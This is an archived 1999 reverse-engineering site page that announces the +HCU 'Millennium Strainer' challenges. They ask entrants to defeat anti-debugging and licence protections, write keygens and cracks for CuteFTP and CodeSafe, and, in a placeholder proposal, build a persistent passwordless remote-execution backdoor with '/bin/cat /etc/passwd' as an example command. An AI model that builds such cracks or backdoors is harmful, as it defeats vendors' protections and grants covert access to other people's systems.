existence and who also are, the primer teachers & students of this
academia, among them, +ORC, Fravia+, +Greythorne, +Sync) and the rest of the
+HCUkers.

Last year's Strainer fulfilled some of my expectations, but it would


be dishonest from me to say it was all I expected. One of the Strainer
objectives was to stimulate investigation in certain fields where there were
lack of knowledge, in this regard, the Strainer was designed to create a
favorable situation for the study and research of Win32 assembly and
Demo reversing. As it turned out, there was an important boost in win32
assembly field, in part (although modestly) due to the Strainer challenges.
Although the findings and demonstrations of every participant were excellent
in regard to demo reversing, this field did not seem to be boosted at all.

http://www.instinct.org/fravia/millen1.htm (1 of 6) [2/7/2001 3:23:37 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

+ORC wanted to enhance our knowledge in this field, and it was my intention
to help him achieving this goal, however, life does not always evolves
as we want, but I'm sure there will be time for demo reversing very
soon. Ok, enough chatting, now, is time to get some heat.

This year, I'm not going to hide the general objectives of the
Strainer. Basically, I want to kick off the field of modern anti-debugging
techniques and Server authenticated protections reversing. It'll be divided
in four sections or challenges (as before), but I will include additional
rules to ease the presentation and delivery of the answers. In regard to
the limit date to deliver the answers, I don't know, +Fravia will decide
how much time you need to comply with the four challenges.

CHALLENGE I: Anti-debugging & Decompiling Techniques


----------------------------------------------------

Target: aescul.exe
Location: aescu_mi.zip

aescul.exe is a little demonstration of how we can cripple any


debugger even if it runs as a device driver like SoftICE (R), or dwells
in the silicon world as an application-level one, like the rest (except
TRW). There are some documents about anti-debugging in the web, nonetheless,
most of the proposed techniques are outdated and beyond that, easily
overwhelmed by modern debuggers running in privileged memory far away from
any possible influence originated in the constrained Ring 3 world. Changing
IVT vectors, disabling the keyboard interrupt, setting some INT3
instructions in the code, PIQ, altering the stack in the debugee process,
will do little or no harm at all to modern debuggers. Moreover, knowledge in
this field has become an exclusive field belonging to guru coders, which
rarely have enough popularity as to let them publish updated books (regular
wannabe programmers who buy them simply doesn't understand they higher
language). The rest of today's protectors don't care enough (or know enough
in some cases) as to develop effective techniques in this regard.
Fortunately, for most crackers, effective techniques require solid knowledge
of assembly language which has become in a sort of "the latin of programming".
Used wisely, anti-debugging is very effective, but in most cases, the
performance impact when used in already over bloated applications is striking.
Making your code more difficult to trace has a price, slow performance and
"hard to find" bugs among them; the common scheme is to shield only the
sensitive parts of the protection leaving the unimportant code alone, it is a
waste of CPU time, obviously, any attempt to protect sections of code&data
not related to the protection. In Win32 world we have to face with yet another
problem like making our protection shield only the parts of the code
we wrote and not the API functions called from within inside the protected
area. For the CPU, a code is a code, no matter if it is inside a common
library or not. Although we can provide some additional functions to
detect code running at an unexpected high address in memory (like API
functions) and save some CPU time based on this, still we need to provide
code to check constantly for such situation. Intel architecture intrinsically
failures to provide enough features as to make this last distinction easy to
perform without affecting the CPU usage.

The version of Aescul.exe I provide for reversing with the Strainer

http://www.instinct.org/fravia/millen1.htm (2 of 6) [2/7/2001 3:23:37 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

is a limited one, several functions were eliminated to make it more


cracker-friendly; the original version and source code (which will be
released only for members of the +HCU) is very aggressive and will strike
your system in such a manner that it will come down in hurry at the slightest
cracking attempt. Recently, I have developed a function which will detect
and gain access to any debugging or decompiling process dwelling even if
it is running in its own protected address space and trash their memory at
once, this function was highly efficient in matter of CPU time when tested in
the newer PIII processor but I can't assure equal performance in lower CPU's.

Now in regard to how Aescul.exe was created, I want to discuss it


in a little bit more of detail:

Aescul.exe, in particular is a very small protection, there is no


overhead in it to "hide the sensitive locations"; it should be, therefore
easier to grasp if compared with a 5 Mb executable using the same techniques,
so don't forget to picture that when you're reversing it. The whole program
(in case you still don't get it) is a protection, so one of the first steps
in cracking (locate the protection) is not necessary, because the whole thing
is a protection. Notice the performance impact that it exerts in your
system. It was created using only assembly and a Resource Editor for the
fancy presentation, nothing else. Some functions are repeated over the code
(to confuse a little the wannabe's) and some API calls are not strictly
necessary (I can't tell you which of them at this time because that would
spoil the fun). In part, the idea behind these failures (which I'm portraying
for you beforehand) is to see how far can you go to improve it. I suspect
the Key algorithm will produce strange looking keys in a WinNT system (I
can't explain why for obvious reason, at this time), I am not sure because
the NT system where I test was not available when I coded it, however, this
is not strictly necessary to solve the strainer if you understand how it
works. Well, boring preambles are always important, now the objectives:

To successfully approve this challenge, the participant must:

1. Decompile Aescul.exe and explain prolixly how it works. The better


you explain the higher you qualify in this challenge.
2. Improve Aescul.exe or write something better than it.
3. Create a Key Generator for it (this final step is compulsory
to approve).

CHALLENGE II: Server Authenticated Protections...


-------------------------------------------------

Target: CuteFTP v. 3.0.2


Location: ftp.cuteftp.com

CuteFTP is one of the best FTP clients available worldwide. Its


protection is worthy of careful analysis. The author of CuteFTP requested
me the possibility of a "Tough Protection Award" being granted to it after
a failed attempt (on my part) to crack it. I did a crack for it, which is
certainly not 100% perfect but it provides more stability than most I have
seen in the web. Soon after, I achieved the perfect crack for it (which will
be published only for +HCUkers because I think a good protection deserves

http://www.instinct.org/fravia/millen1.htm (3 of 6) [2/7/2001 3:23:37 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

respect). The possibility of a Tough Protection Award is interesting and


I'm sure +Fravia will consider it as long as CuteFTP resists the Elite of
reversing world reading and accepting the challenges in our Strainer.
Basically, the protection performs multiple self-integrity checks and based
on this decides on whether to proceed cleanly or lead the execution path to a
routine (disguised as something harmless) that will generate a GPF.

To approve this challenge the participant must:

1. Explain the key algorithm used in CuteFTP. How it is decrypted,


where it is stored and tested, description of the code involved in the
process, etc.
2. Explain the self-integrity check system used in CuteFTP, how
and why it crashes, possible solutions.
3. Explain the server authenticated part of the protection.
4. **Optional Item** Create a crack with FTP capabilities to
download an updated set of patching locations from a web site in case of
updates for CuteFTP disable your patching locations.
**Hints:** Knowledge about WinInet API set will be of great help.
5. **Optional** Answer this question: Is there a way to crack this
protection without patching it? Explain in detail.

CHALLENGE III: Anti-debugging & Anti-Decompiling, some more...


-------------------------------------------------------------

Target: CodeSafe v. 3.1.


Location: http://www.geocities.com/SiliconValley/Park/9031

Its a product to enhance the security against cracking


in commercial software. It features advanced anti-debugging and
anti-decompiling. It offers a decent compression engine too. Sadly, not too
popular among lazy programmers (the author is giving away the source code,
apparently) who search for an easy way to maintain their products far from
our claws, but brilliant indeed.

To successfully approve, the participant must:

1. Explain how Codesafe loader is attached to the target.


2. How does the loader locates the target ImageBase.
3. How does the loader locates kernel32 ImageBase.
4. How does the loader locates API entry points.
5. Describe the decryption process.
6. What kind of anti-debugging and anti-decompiling is used.
Explain as much as possible.
6. **Optional** Create a crack for it.

CHALLENGE IV: Yet to come...


----------------------------

Left empty on purpose. +ORC has not contacted me lately but I hope
he will soon. I will respect his rights to collaborate with the Strainer
contents. If he doesn't communicate, a fourth challenge will be published
before the end of August.

http://www.instinct.org/fravia/millen1.htm (4 of 6) [2/7/2001 3:23:37 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

Final words:

Although it is not noticeable at this time, all challenges and


targets in the Strainer are strongly related, is up to you to discover these
links and expose them to us. I'm sure nobody will miss this strainer because
it will greatly enrich our knowledge in the field.

INSTRUCTIONS: From our experince in the last year's Strainer


------------------------------------------------------------

1. Not compliance with a single one of these rules == Forget About the +HCU.

2. Answers will be valid ONLY if they are delivered on time (before 15/12/99)
to:
+Aesculapius
+Fravia
+Greythorne
+ORC

NOBODY else is authorized to receive answers and NOBODY else


except for an +HCU teacher can accept you as an +HCUcker.

3. Cheating == Death Penalty.

4. Publishing answers in the web, USENET or any other public media


before the time for delivery is up, will disqualify the participant(s).

5. About the procedure to deliver the answers:

a. Only zipped or RAR files will be accepted.


b. The participants *MUST* include both their sources
and executables, with a detailed explanation on how
they were compiled.
c. If the participant used personally modified includes
or header files, these should be delivered too.
d. No sources == Get Lost!
e. Every Challenge will require a complementary ESSAY
explaining in detail all of the challenges solutions.
These essays will be published when we decide
who enters and who don't.

6. Once you deliver your answer, a confirmation email will


be sent to you in other to assure you we got it.

7. Asking me to give hints for taking advantage will


get no answer.

8. Asking for the password to enter the +HCU classroom will


get no answer.

9. Answering all challenges != I'm an HCUcker. We will


perform a selection to accept only the better answers.

10. Bugs will greatly hit your scoring.

http://www.instinct.org/fravia/millen1.htm (5 of 6) [2/7/2001 3:23:37 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

11. Last but not list: Items marked **optional** are not compulsory,
but if answered, will award more value to your score and even
compensate for wrong or incomplete answers in other challenges
because these items are considered of higher difficulty. However,
how the value of an optional item is weighed against a wrong answer,
is a decision belonging to the +HCU teachers only, and not to the
participants by themselves.

Please, be "academic", good luck and happy reversing.


+Aesculapius.

You'r deep inside fravia's pages of reverse engineering

Download aescul.exe here: aescu_mi.zip Back to the Introduction page

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/millen1.htm (6 of 6) [2/7/2001 3:23:37 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

+HCU Millennium Strainer: 26 July 1999 "Here it is!"


A delayed strainer
The "Millennium" strainer was plagued
by a series of problems, the main ones
being the long disappearence of +ORC
and +Aesculapius and the syn-attacks
against my site.
As usual among us, you will be able to
follow, if you are interested, the
various phases that brought us to the
Millennium Strainer (which is NOW
ready, but see also "+Aesculapius
intents" below). You are all allowed to
criticize, as Olorin has done, anything
that we did/do/will ever do :-)

[The Millennium strainer 26 July


1999]
[+Fravia's "placeholder" May 1999]
[+Greythorne's suggestions May 1999]
[Olorin critics the placeholder July
1999]
[Fravia's and Steinowitz's "placeholder
June 1999]
[ENTRANCE TO THE 1999 +HCU
COURSES July 1999]
[VoxQuietis critics the "secret pages"
concept July 1999]

http://www.instinct.org/fravia/straine1.htm (1 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

THE MILLENNIUM STRAINER


26 July 1999

Dear readers, I'm proud to introduce the Millennium strainer, for the +HCU 2000 courses. I know that
we are late: due to the problems that are listed elsewhere we have had a three-months delay in the
presentation of the strainer this year. I would tehrefore propose that all your answers for admission
should be presented either to +Aesculapius, to +ORC, to +Greythorne, or to me BEFORE THE 15
December 1999, so that you will have four months and two weeks to solve the strainer and we will have
some time for the evaluation of all results. We hope that +ORC will send his contribute very soon, but we
millen1.htm:
will anyway publish the fourth challenge of this strainer before the end of August.

Presentation of the Millennium strainer by +Aesculapius


aescu_mi.zip: This is the program "aescul.exe": a little
demonstration of how we can cripple any debugger even if it
runs as a device driver like SoftICE (R), or dwells in the
silicon world as an application-level one, like the rest (except
TRW).
It is not necessary to underline the importance of this strainer and of these studies. You know it already
very well. I know in particular that protectors awaited impatiently a challenge like the first and third
ones of the Millennium Strainer: "Anti-debugging & Decompiling Techniques". As everything (all valid
solutions) will as usual be presented in december, both those that took part to the strainer and those that
could not solve it will benefit from it. Which is good: infact we are interested in the evolution of even
more good anti-decompiling techniques. So, what can I say more: enjoy!

Fravia's first "placeholder", May 1999

Fellow reversers,
I published the "tn3270" strainer-idea, that you'll find below on my main messageboard on the last day of
April 1999, since the +HCU has always published a strainer in April and notwithstanding the disarray for
the "three caretakers" caused by the syn-attacks against my site, +gthorne's new daughter and the
disappearence of +Aesculapius, I wanted to "keep up one of the few reversers' traditions we have".
Things have changed for the better at the moment: my new fortress is holding well against all sort of
attacks, and http://www.fravia.org will be redirected there very soon. +Aesculapius reappeared with

http://www.instinct.org/fravia/straine1.htm (2 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

lessons and tasks (restricted for +HCUkers) and a new +HCU Linux page is developing nice thank to
+Rezident. Moreover, consider the following as just one of the "possible" strainers.
As you all know the intent of the +HCU is NOT to form a 'cracker' group. Our little "+" don't mean at all
that we are "better" than anyone else, in fact there are excellent reversers in many groups that could teach
us quite a lot, if they cared to. Yet we strive for knowledge and we spread reversing knowledge like few
others do, following old +ORC's tradition and steps. Our aim is simply to put together, somewhere on the
web, protectors, coders, reversers and crackers of a specific kind: people able not only to learn but also to
teach all the many techniques that can be useful in this more and more electronic life of ours. Secret
codes with secret meanings abound more and more, as we very well know, and not only inside software.
It is time to reverse at least some of them, it is time to explain, and it is always time to learn. Building on
the shoulders of each other we will go forward, reversing more and more, learning and explaining,
teaching and understanding, towards what I hope will be a better world, or at least a world we will
understand better.
fravia+ May 1999

+Greythorne, May 1999

regarding the strainer idea in itself

i noticed it was mentioned that people working together made not a good strainer

what needs to be noted is that my suggestion was that people submit strainers - and then after they are all
in, then graded and members allowed in, THEN AND ONLY THEN are the hcuers to collaborate and
make a combined project out of it

now this of course assumes that people are working on the idea and not deciding that this is not a good
strainer

and no mammon_ i wasnt stealing your idea ;) i found it in a macro virus actually as well - it was a
dropper that echoes to debug.com just like you do (but i agree 100% that to steal it is not doing ones own
work ;) *poke poke!*

what i want to see are people who want to get into areas they have not before truly mastered, in order so
that the corporate world does not run the lives of us all

this is why the hcu exists in the first place hacking and cracking are both in the agenda from day 1 (just
read some of +orc's propaganda.. quite humourous and a bit much at times but getting past that, the point
was made) --- reversing big brother requires more than 'jnz/jz good code' but getting around the machines
and software remotely as well as the ones on your desks

personally, i would love to see some ideas as well - i am open to the idea of someone coming up with a

http://www.instinct.org/fravia/straine1.htm (3 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

project idea, planing it and attacking it (for those of you who have been to grad school you may be
familiar with the idea)

this means that it has to be ratified by the hcu of course

the reason i suggest this is that sometimes there are great ideas that are missed, and also there are topics
that as you may guess from reading the other messages on this topic - may not be interesting to the
people posting for whatever reason

instant access was a rough one - i definately agree, and i for one spent months working on it when i had
the chance -- part of which because it wasnt exactly the clearest english for that matter but then technical
documents are never extremely clear anyhow

in another life i might have been a linguist rather than a computer type, but then thats why i write well,
and tend to not get the greatest 'grades' on my technical drafts -- to much clearer to read than the
professorial types like (if it's readable it doesnt belong in a computer science classroom...)

but anyway, i would love to see some ideas, and i would also love to see what comes of the original
strainer idea posted above

much of the reason hcu has been slow going lately is communication - finally egroups has fixed their size
problem and we can now use it for hcu mail lists (some lists being the primary method we have been
using until these last few months when servers changed and well, now things are automated in such a
way that time can again be on our side)

it takes work to make an organization live, and though that term applies loosely to hcu - which is made
up of lone wolf types with a desire to learn, members do need to think of challeneges

if i were to make the most of a suggestion to those of you who are new and wish to get better at cracking,
and in preparation for hcu classes, GET FAMILIAR WITH WIN32 ASM - if you can write programs in
it, you have a serious step up on cracking win32 apps. So much has happened lately to make this easy,
that it is important to learn it.

well, before i go into anything else, and before i have any more coffee, i am done for now 8^)

please post any responses on fravia's main messageboard, i would love to hear your ideas - or get on the
hcuml and post there, the list is only newly running again and it takes usually a few weeks to get back on
track

+Gthorne

http://www.instinct.org/fravia/straine1.htm (4 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

Olorin's critics
Quite a negative judgment of fravia's and Steinowitz proposal :-(
As you will read below, +Aesculapius is preparing the "real" Millennium strainer,
so we will see what we do with this proposal of ours. I still think, Olorin
notwithstanding :-) that meddling with the TN3270 protocol is quite an
interesting endeavour... raeders will judge!

Disclaimer - This is only opinion, although it contains references useful to anyone attempting the
strainer.

Firstly, what has been set is nothing more than an over elaborate implementation of back door programs
such as Back Orifice, NetBus and Unix rootkits.

The remote execution section totally relies on the ability beforehand to either trick a user into running a
trojanned program, or having access to the computer beforehand.

What is REserver.exe and REclient.exe other than BOserver.exe and BOclient.exe with a tn3270 added
on for no particular reason. "Use the TN3270 protocol for this and you'll be able to use this as a full shell
account! And you don't need passwords to verify your access to the server" - Oh wow. Unlimited access
without passwords. That sounds just like the rootkits that any decent security site carries, eg packetstorm,
before antionline shut them down. Luckily for antionline, they got a copy of all the files first, at
www.anticode.com. You can find rootkits and telnet servers to sit on a port there.

Using previously configured associations between a web browser, windows, and the command line
represents little more than an overly complicated set of interfaces, better suited to a GUI or simply
executing the client.

Rewriting a tn3270 client, an interface developed for IBM mainframes from scratch has bugger all to do
with reverse engineering and nothing to do with good programming practice. Save yourselves the
trouble, and checkout http://www.geocities.com/SiliconValley/ Peaks/7814/ for a windows client with
complete source, and http://www.hgsys.demon.co.uk/linux.htm for a linux client and source.

For further information about tn3270, checkout http://www.tn3270.com/ or http://www.ci


sco.com/univercd/cc/td/doc/cisintwk/dsgngde/tn3270/tndg_c2a.htm

Hmmm, to make things tricky, lets throw in a little regular expression and pattern matching. Yawn.

The three sections on different interfaces, javascript, perl and c are nonsensical. If a person had access to
to a remote workstation just once, why would you install a tn3270 server? On a non-standard port? Just
install the personalized version of BO2K. Virtually each server is unique, running on a different port with
a different protocol, and responding to different types of encryption and pass-phrases. Nothing is

http://www.instinct.org/fravia/straine1.htm (5 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

defaulted.

The last section - The only part to have any real reversing content, taking telnet.exe and adding in the
ability to parse the commandline so that not only the host and port are recognized, but an optional extra
parameter that represents the command to be executed. Hmmmm telnet to a telnet server, and execute a
command. BUT *and this is the tricky bit* put that command on the command line. Oh, and do it purely
in assembly while working with a pre-built executable. That'll be some patch.

Since when did the HCU become a bunch of extremely inefficient hackers, writing ridiculously over
complex back doors and trojans?

mailto:olorin(at)netlink(dot)com(dot)au

+HCU Millennium Strainer ~ Part 1

Remotely Executing on the Web

Steinowitz (and fravia+), May 1999

Introduction
Since fravia+ is very busy with rebuking the attacks on fravia.org, he asked me to write down how the
Millennium Strainer should be. Both fravia+ and I think that Reverse Engineering on the web is the
future, therefore, this strainer is about Remotely Executing. While cracking software appz is done by the
dozens of crackgroups which exist at the moment, elite reverse engineers like +HCUkers should move on
to where the future is: the Internet.
Because of this, the +HCU strainer should not only test your reverse engineering skills. An elite reverse
engineer needs knowledge of coding, reverse engineering and the Internet. This strainer requires you to
know quite a lot about all three. Let's proceed with the assignment!

http://www.instinct.org/fravia/straine1.htm (6 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

Remotely Executing
The main objective of this strainer is to make it possible to run any executables you choose on a target
machine where you have had access. Let me explain to you how this should work.
To make it possible to run any executables on a target machine, you should write two executables
(REserver.exe and REclient.exe).
Write these executables in C, using ANSI C functions where possible to make your programs as
portable as possible.
REserver.exe should run on the target machine, accept any connections requested by REclient.exe
and then execute what REclient.exe orders.
REserver should then catch the output of the program (and the exit code of the program) and send
it back to REclient which shows it to the user.
When you enter tn3270:// in your browser's address textbox, Windows will automatically start
Telnet.
The TN3270 protocol is a rarely used telnet-like protocol, invented by IBM.

Re-associate the protocol with REclient.exe.

Then, REclient.exe should be executed by entering the following:


tn3270://212.212.75.75/C.d.bBatchfiles.bRun.2Ebat
(which would run 'C:\Batchfiles\Run.bat' on a Windows system 212.212.75.75)
tn3270://myserver.com/.sbin.scat.20.setc.spasswd
(which would run '/bin/cat /etc/passwd' on a UNIX system myserver.com)
Decoding/encoding works like this: slashes (/) are replaced with .s, backslashed (\) are replaced
with .b, colons (:) are replaced with .d, all other special characters (non-alphanumerical) are
replaced with a dot followed by their hexadecimal ASCII codes (for example, a point becomes .2E
and a space becomes .20).
REclient should decode the argument passed to it by the browser, connect to REserver running on
the target machine and make REserver start the executable requested by its user.
Find the specifications of the TN3270 protocol and implement it in both your server and client.

If you managed to do all this, you should proceed implementing another function. Before, I only
talked about catching the output of a program and sending it to the client, but what when I want to
run /bin/bash or command.com? Indeed, we should also allow users to provide information (or
new commands in case of a shell) to the executables running on the target machine. Use the
TN3270 protocol for this and you'll be able to use this as a full shell account! And you don't need
passwords to verify your access to the server (providing REserver.exe is running)!
REserver should be able to handle more than one connection at the same time (with a maximum of
10).
Think about how you can make sure that REserver is always running on a target machine! Think
about adding a RunServices key to the Windows registry. Besides, for UNIX systems, you could
write a sh script which checks if REserver is still running. Set a crontab for this sh script and
you're settled even when your UNIX restarts!
Don't forget to implement decent error trapping routines!

http://www.instinct.org/fravia/straine1.htm (7 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

A complete solution should at least cover solutions for both Windows 95/98 systems and UNIX systems.
Read 'Portability' for more info on this.

Web-interfaces
After coding all this and testing it well, it's obvious that this isn't as easy-to-use as it should be. What we
need are a couple of decent interfaces which make it really easy for users to use REclient. Encoding
commands like the examples I gave is easy to do, but I don't want to be forced to look up the
hexadecimal ASCII codes for all kinds of special characters. Let's describe a couple of interfaces you
should make it you want to do it perfect. I would waste time if I would explain to you why these
interfaces should be web-interfaces. :-)
Interface 1 - JavaScript
If you don't know how to make webpages with standard HTML tags: learn it right now! Don't you dare to
use M$ FrontPage (or any other WYSIWYG HTML editor) for this assignment, because that would be a
serious insult. :-)
Notepad or pico/gvim is good enough for our purposes!
Alright, write a webpage where a user could enter 1) hostname/IP of the target machine and 2) the
executable which REserver should start. When this user clicks the button, a JavaScript function should
encode hostname/IP and command to execute in the URL format I explained earlier:
tn3270://target_machine/encoded_command. Change the browser's location to this new URL and your
REclient.exe will do what it should do... (If you re-associated the TN3270 protocol with it!)
Interface 2 - Perl
Write a Perl CGI script which does exactly the same as the JavaScript page described above. Don't forget
that it should be a CGI script! (Thus: it shouldn't be executed as a program from your command prompt.
If you don't have installed Perl on your local workstation, you could install your script on a webserver
where you have CGI permissions. Don't forget that you'll still need REclient.exe installed on your local
machine!)
Note If you're a real +HCUker, you also write Perl scripts which do exactly the same as REserver.exe
and REclient.exe! Believe me, that it's easy if you finished your C version and know something about the
differences between C and Perl!
Interface 3 - C (again)
Last, but not least, one more web-interface. As a matter of fact, this one isn't just an interface. This one
should be both web-interface and REclient in one. I think you already understand what I mean with this.
No? Ok, read on and you'll understand!
I started this essay writing that the Internet will become more and more important for all elite reverse
engineers who want to keep up with the best. Therefore, for those who don't already know all about this,
it's getting time to learn everything about CGI programming. Remember: you can't reverse engineer if
you can't engineer! Why did you learn coding in assembly? Indeed, you couldn't reverse engineer
without it! That's why this strainer also requires you to know quite a bit about the Internet and CGI, a.k.a.
Common Gateway Interface. And since most servers are UNIX-based platforms, it's also getting time for

http://www.instinct.org/fravia/straine1.htm (8 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

all those Bill Gates-people to shutdown Windows, restart with some UNIX platform and see how long a
system can be stable without restarting at all!
Remotely executing whatever you want sounds good, but remotely executing whatever you want by
ordering a remotely hosted client to arrange this sounds even better! I really hope you can follow my
deep thoughts. If you don't: get a glass with your favourite cocktail, sit back and relax, enjoy your drink
and think about it. Believe me: it'll work! :-)
For those who didn't already understand: write a CGI program in C which provides your with a
web-interface. When you enter data in the web-interface and submit it, the CGI program should behave
as it were REclient.exe. All output should be correctly formatted HTML code. This CGI program should
be installed on a webserver where you have CGI permissions. To prevent unauthorised users from using
this interface, you should implement a password protection. Write another CGI program in C which the
system administrator (you) can use to add/remove users to the user list. Passwords should always be
stored in an encrypted format.
An example.
When I'm allowed to login on a UNIX system called target.com only once, I can upload the source of
REserver, compile the program and run it. At that point, I have unlimited access.
I installed the REinterface CGI program I wrote in C on my ISP's server, www.myISP.com. I can now
access this by surfing to http://www.myISP.com/~switz/REinterface. A nice interface appears on my
screen. I enter the name of the target machine, target.com. I also enter the command I want to run on the
target machine: '/bin/cat /etc/passwd'. Furthermore, I enter my login name and password. After I did all
that, I click the button. A couple of moments later, the output appears on my screen: the contents of the
file /etc/passwd! (And, of course, if the system admin of target.com configured his system well, I will
only see 'No access to /etc/passwd' or an almost empty (shadowed) password file, but our REinterface
and REserver work fine and that's the main point!)
Please note: This REinterface sure is a nice piece of web engineering, but you cannot provide any input
to the executable after it started. For example, you can't provide any commands to '/bin/bash' or
'command.com' after you started it! A large benefit of this interface is that you don't need to install
REclient.exe on your local machine: you can use this interface from wherever you are, provided that you
have access to the Internet.

Reversing M$ Window$ Telnet


When you are able to accomplish everything above, you have proved that you have knowledge of both
coding and the Internet. But you're not ready yet, no way! A Millennium Strainer isn't something which
you solve in a couple of days! Take your time...
Some time ago, I wrote that telnet.exe is the program normally associated with the TN3270 protocol.
Well, how about using that?? Notepad.exe has been the target of many reverse engineers: I have seen
several Notepads with added functionality. I think that the standard M$ Window$ 95/98 Telnet
executable is at least as interesting: a full reverse might be a very good exercise. However, that's not the
objective of this strainer. Combine the section 'Remotely Executing' with what I just wrote and you'll
understand what you're to do next.
When you arrive at this point, you already have written REclient.exe and you have written several

http://www.instinct.org/fravia/straine1.htm (9 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

web-interfaces. But there's one more client we want: use your reverse engineering skills to create a client
out of telnet which you can use in combination with the same REserver as you used in all cases before.
Yes, you're totally right when you conclude that you only have to code one server, but quite some
interfaces/clients. :-)
Dive deep into telnet.exe. All code needed to communicate with a target machine is already available,
but where is the code you need to modify? Micro$oft helped you a great deal by leaving so much wasted
space in the executable: there's quite some room to add your own code. However, I wouldn't be surprised
if it would be necessary to add more.
Here are some ideas about what you could try to achieve with telnet.exe.
Don't associate the TN3270 protocol with REclient.exe. Instead, modify telnet.exe in such a way
that it starts REclient.exe when telnet is started with an argument starting with tn3270://. (Telnet
immediately closes.) It's not an efficient way of associating the TN3270 protocol with REclient,
but it proofs that you know something about reverse engineering. When telnet is started with a
normal telnet:// argument, normal communication should follow.
You could also try to make telnet.exe work as REclient.exe. As I said before: many functions
necessary for communication are already present. (Check out the differences between the telnet
and tn3270 protocol if you managed to implement the tn3270 protocol in your REserver!)
When you try to make telnet.exe work as REclient.exe, you could choose to replace functions not
needed anymore. But you could also choose to keep it possible to use telnet.exe as your 'normal'
telnet client.
Finally, I always find it very annoying that telnet.exe only knows a couple of 'standard' ports:
telnet, daytime, echo, qotd and chargen. Get a list with standard ports and add those ports of which
you think they are useful to add. (Don't forget to add the port of your REserver! And don't forget
that connecting to that port doesn't work like a normal connection!)
The more you do, the better! Just do what you think you are able to do. The other parts of the Strainer are
pretty straight-forward. You should use your imagination (and Zen skills!) with this part: think of what
you think would be a nice change to telnet.exe, as long as it is related to the rest of the Strainer!

Essay(s)
Since it's almost getting time for you to start with this assignment, I'll mention a couple ideas of things
you could do to achieve a better final result. When you send in your results of this assignment, only
sending (commented!) source codes, binaries and scripts isn't enough. Why did you do what you did?
And how did you do it? Answer those questions in one or more essays about the development of your
results. And since we may assume that you don't develop your final 'product' out of nothing, it probably
wouldn't be a bad idea to include some pre-final versions of your programs. Think about it!

Portability
I already mentioned that you should at least make it possible to compile REserver and REclient (and
REinterface!) under both UNIX and Windows. To make your programs that portable, you need to use
ANSI C functions as much as possible. There are some functions, however, which you'll need, but are
not portable. Since we don't want multiple versions of source and header files for Windows and UNIX,

http://www.instinct.org/fravia/straine1.htm (10 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

you'll have to think of something else. The solution is easy: use some preprocessor directives and a
Windows/UNIX flag....
Since there are always differences between C compilers, it could happen that you were able to compile
your executables under both Windows and UNIX, but anyone else trying to do the same (with another
compiler) could have troubles compiling. To avoid this, don't forget to mention which compilers and
operating systems you used. Include all version numbers!

Last words
I already wrote this before, but I can't repeat it often enough: the more you do, the better. Furthermore,
you should work slow and basic. Don't try to do everything at once, because you won't succeed if you do
it that way. Completing an assignment like this requires knowledge, patience and a little Zen. But I think
it's even more important to show that you are willing to learn and that you're capable to do so.
A journey of a thousand miles is started by taking the first step.
-- Chines proverb
Civilisation advances by extending the number of important operations we can perform without thinking
about them.
-- A.N. Whitehead
After these wise words, there's not much left to say. You should solve and send in the strainer before
mid-September, as usual. If you think you're ready before September, I really think you haven't done
enough, even if you did everything I mentioned in this essay. There's so much else you could do to make
it even better! (Think of a good name for your project!) Use the time you have!
I'm really anxious to see the results: I can hardly wait till fravia publishes the results on his website. (That
will take some time though.) In the mean time, I'll see if I have enough time to complete this assignment
myself...
Good luck,
+fravia and Steinowitz

Mail +fravia at fravia_(at)yahoo(dot)com if you have any questions concerning this +HCU Remote Execution Millennium
Strainer.

Master +Aesculapius intents


16 July 1999

fravia+ wrote:

> By all means, +Aescu.


> The surrogate of a strainer I have posted on my site

http://www.instinct.org/fravia/straine1.htm (11 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

> was just intended as a "place-holder".


>

I'm glad; you'll have the strainer in one week (maybe less than that) because I need to polish some minor
aspects of it. The targets will be: Challenge 1: CodeSafe v. 3.1, Challenge 2: CuteFTP v. 3.0.2, Challenge
3: Restorator 2.5 (possibly, I'm still thinking on this one), Challenge 4: I'm thinking in leaving this space
empty with a note to +ORC in case he wants to contribute, if he doesn't answer I'll include a fourth target
(Cdrwin 3.7d).

Challenge 1 will require knowledge in PE header layout, Structured Exception Handling, Debug API Set
and SoftICE detection tricks.

Challenge 2: Undefeated until now. Server authenticated. It will require knowledge on WSA, CRC, and
internet protocols.

Challenge 3: Tough target and a great tool.

Challenge 4: CDRWIN 3.7d (if +ORC does not send any contribution or any of +you doesn't want to
propose an alternative target). Cdrwin key system has been defeated by only two crackers in the world
after 4 years of attempts (I was the first one, the other guy is retired from cracking).

So the strainer is tough, but not that tough and it will explore almost every attribute a cracker worth of
entering the +HCU should have. Internet use will be explored too.

>
> If you want to start, beside sending me the new strainer
> (we'll postpone the admission frist accordingly),
> you could send me your first lesson for the '99 levy: I'll
> open a password protected part of my fortress so that +Hcukers
> only (or almost, but those that will anyway find their way
> there will be also pretty good AFAICJ :-) will thus partecipate
> and give their precious feed-back. If you prefer an emaillist
> approach just tell me, I'm sure that +Zero and +Malattia
> would gladly take care of that.
Whatever, the page with password and participation of some important personalities (not necessarily all
of them belonging to the +HCU) is a good idea.
